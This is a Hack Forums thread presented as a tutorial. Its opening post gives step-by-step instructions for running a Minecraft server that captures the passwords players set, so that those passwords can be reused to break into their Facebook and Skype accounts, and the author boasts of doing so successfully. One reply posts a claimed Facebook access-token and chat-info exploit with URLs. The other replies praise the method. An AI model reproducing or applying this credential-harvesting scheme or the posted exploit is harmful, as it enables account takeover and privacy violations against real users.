[TUT] How to get passwords for facebook and other accounts using minecraft exploit

[TUT] How to get passwords for facebook and other accounts using minecraft exploit - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: [TUT] How to get passwords for facebook and other accounts using minecraft exploit (/showthread.php?tid=3955823)

Pages: Pages 1 2 3 4 5 6 7 8 9

[TUT] How to get passwords for facebook and other accounts using minecraft exploit - ρãήžε® - Dec 27, 2013

This is a little trick I've been using which works rather well. First make a offline minecraft server and add the plugin called login security. This will force users to set a password on your server when they join. When they do this check the console when they login and you will be able to see the password that they set. Many people will use one master password for all their accounts. Use the password that they set in your minecraft server to get into their facebook, skype etc. Some people will just use password as their password but many do not so it really depends on how dumb the person is. Enjoy. Oh and make sure your using bukkit for the server. Please vouch for this method if it helped you.

Step 1. Download latest craftbukkit build from here http://dl.bukkit.org/downloads/craftbukkit/

Step 2. Port forward 25565 on router
To get to router type 192.168.1.1 into web url address.

Step 3. put Craftbukkit file into a folder (DO NOT RUN IT) then make a batch file containing the following code in the same folder. Name the file what ever you want.

Code 
@echo off

"C:\Program Files\Java\jre7\bin\java" -Xms5000M -Xmx5000M -jar craftbukkit-1.7.2-R0.1-20131203.185242-15.jar nogui

pause

This allocates more RAM into the server and launches the console. This is what you will click to run your server. NOTE: you will need to adjust the code above to your correct bukkit build and desired allocated RAM.

Step 4. Run the batch file

You will end up with multiple files and a console screen like this

Step 5. Download login security plugin
http://dev.bukkit.org/bukkit-plugins/loginsecurity/

Step 6. Place login security .jar file into the plugins folder located in your server folder. Then eather type reload into console and hit enter or restart the console. This will load the plugin into the server.

Step 7. Edit your server.properties file and set to online mode = false you can use notepad to edit the file.

Step 8. Edit the login security config.yml file using notepad and set password required to true, then restart or reload the server to update the server properties

Step 9. Set up a no ip here http://www.noip.com/ make an account go to add new host type in a host name and click add host. Although any skid can pull an ip out of a domain it still helps for basic ddos protection. Give this address to the people that want to join your server. ex: myserver.servegame.com

Step 10. Watch when the people join your server in console and see what they set their password to. Use this password to get into their skype and facebook. NOTE: if you dont have their email get into their skype first and their email should be stored in their skype settings.

* - Devil_carder - Dec 27, 2013

nice tha@@nks for sharing broo00oo keep it up

* - CoNz - Dec 27, 2013

Suppose that is a nice tip. Thanks.

* - Abaddon - Dec 27, 2013

Very clever. Thanks for sharing! Keep it up

* - Struxus - Dec 27, 2013

Very nice! Thanks for sharing! Keep it up!

* - Red_Ryder - Dec 27, 2013

It's a start I suppose. Can be implemented into many different things as well.

* - ρãήžε® - Dec 27, 2013

Thanks for the feedback, I will post more methods when i come across them.

* - HarveySpecter - Dec 27, 2013

Thank you for sharing this it was really helpful.

* - ρãήžε® - Dec 27, 2013

(Dec 27, 2013 08:53 PM)Probation Wrote: Thank you for sharing this it was really helpful.

Your welcome glad i could help you out :)

* - scriptsquid - Dec 27, 2013

Code 
##

# Title: Facebook access Token & Chat Exploit Priv8

# Exploitation : Manually

# Date: 15/04/2013

#Author: Mauritania Attacker

##

# Access Token from Application :

https://graph.facebook.com/303943362983320/accounts/test-users?installed=true&name=test&permissions=read_stream&method=post&access_token=303943362983320|gdHOjhabhCio0zTGiYKDhZcuUo0

* When your victim is online and you chatting with him , just try the following link it will show all his infos !!!

# Chat Exploit

https://www.facebook.com/ajax/chat/user_info.php?__user=ID&__a=1&__dyn=1-&__req=2v&ids[0]=ID

* - SIM-1538688 - Dec 27, 2013

73% of users use the same password on all/most sites if I'm not mistaken.

* - ρãήžε® - Dec 27, 2013

yeah i found that out after i broke into 2 facebooks and 3 skyps using my password stealing method.

* - maxzmoviez - Jan 11, 2014

This is actually really clever :D Thanks for this!

* - ρãήžε® - Jan 11, 2014

your welcome enjoy the free method hope it works for u

* - Tzeemu - Jan 11, 2014

Finally awesome tutorial this is helpful i like!